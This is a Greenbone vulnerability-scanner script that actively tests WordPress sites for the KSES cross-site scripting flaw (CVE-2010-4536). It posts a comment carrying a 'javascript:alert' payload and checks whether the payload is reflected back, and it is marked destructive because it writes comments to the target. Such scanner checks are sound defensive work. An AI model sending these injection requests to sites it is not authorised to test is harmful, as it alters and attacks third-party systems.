WordPress < 3.0.4 KSES Library XSS Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801807");
  script_version("2025-04-24T05:40:00+0000");
  script_tag(name:"last_modification", value:"2025-04-24 05:40:00 +0000 (Thu, 24 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-01-12 13:59:47 +0100 (Wed, 12 Jan 2011)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_cve_id("CVE-2010-4536");
  script_name("WordPress < 3.0.4 KSES Library XSS Vulnerability - Active Check");
  # nb: Code below is posting a comment on all WordPress pages (even non-affected) so only run it
  # if safe_checks are disabled.
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);

  script_xref(name:"URL", value:"https://wordpress.org/news/2010/12/3-0-4-update/");
  script_xref(name:"URL", value:"https://core.trac.wordpress.org/changeset/17172/branches/3.0");
  script_xref(name:"URK", value:"https://bugzilla.redhat.com/show_bug.cgi?id=666781");

  script_tag(name:"summary", value:"WordPress is prone to a cross-site scripting (XSS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP requests and checks the
  responses.");

  script_tag(name:"insight", value:"The flaw is caused by input validation errors in the
  'KSES HTML/XHTML' filter (wp-includes/kses.php) when processing user-supplied data, which could be
  exploited by attackers to execute arbitrary script code on the user's browser session in the
  security context of an affected site.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to insert arbitrary
  HTML and script code, which will be executed in a user's browser session in the context of an
  affected site when the malicious data is being viewed.");

  script_tag(name:"affected", value:"WordPress versions prior to 3.0.4.");

  script_tag(name:"solution", value:"Update to WordPress version 3.0.4 or later");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/wp-comments-post.php";

useragent = http_get_user_agent();

# nb: http_host_name() should be always after the static string(s) above but always after any
# dynamically ones (e.g. a random string) which should be different for each hostname.
hostname = http_host_name(port:port);

vtstrings = get_vt_strings();

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", hostname, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: 202\r\n\r\n",
             "author=" + vtstrings["lowercase"] + "&email=" + vtstrings["lowercase"] + "%40" + vtstrings["lowercase"] + ".com&url=&comment=",
             "%3Ca+HREF%3D%22javascript%3Aalert%28%27" + vtstrings["default"] + "%27",
             "%29%22%3Eclick+me%3C%2Fa%3E%0D%0A&submit=Post+Comment&",
             "comment_post_ID=1&comment_parent=0\r\n");
res = http_keepalive_send_recv(port:port, data:req);
if(res) {

  url = dir + "/?p=1";
  req = http_get(item:url, port:port);
  req = string(chomp(req), "\r\nCookie:  wordpress_test_cookie=WP+Cookie",
               "+check; comment_author_b462bdda0bcb111e62778a273812ce8d=",
               vtstrings["lowercase"], "; comment_author_email_b462bdda0bcb111e62778a2738",
               "12ce8d=", vtstrings["lowercase"], "%40", vtstrings["lowercase"], ".com; wp-settings-time-1=1286081",
               "909; styleid=2; MANTIS_STRING_COOKIE=3bbb6343d231dee2d97",
               "d1f2f7ad0bca9307f8b3658b4a787777e798b51b34d3e; MANTIS_se",
               "cure_session=1; a9afec1a17f5a08fb9f206664b598b03=50beab4",
               "8bfb69dddb667287804d15af8; 6ffbe6d1f3f091552afc42d593883",
               "593=6fdef1a680a30716bca44ff6ba80a1ad; PHPSESSID=4a8b9d2f",
               "88d6b4f0fba887b49a18022d\r\n\r\n");
  res = http_keepalive_send_recv(port:port, data:req);
  if(res =~ "^HTTP/1\.[01] 200" && "javascript:alert('" + vtstrings["default"] + "')">< res) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);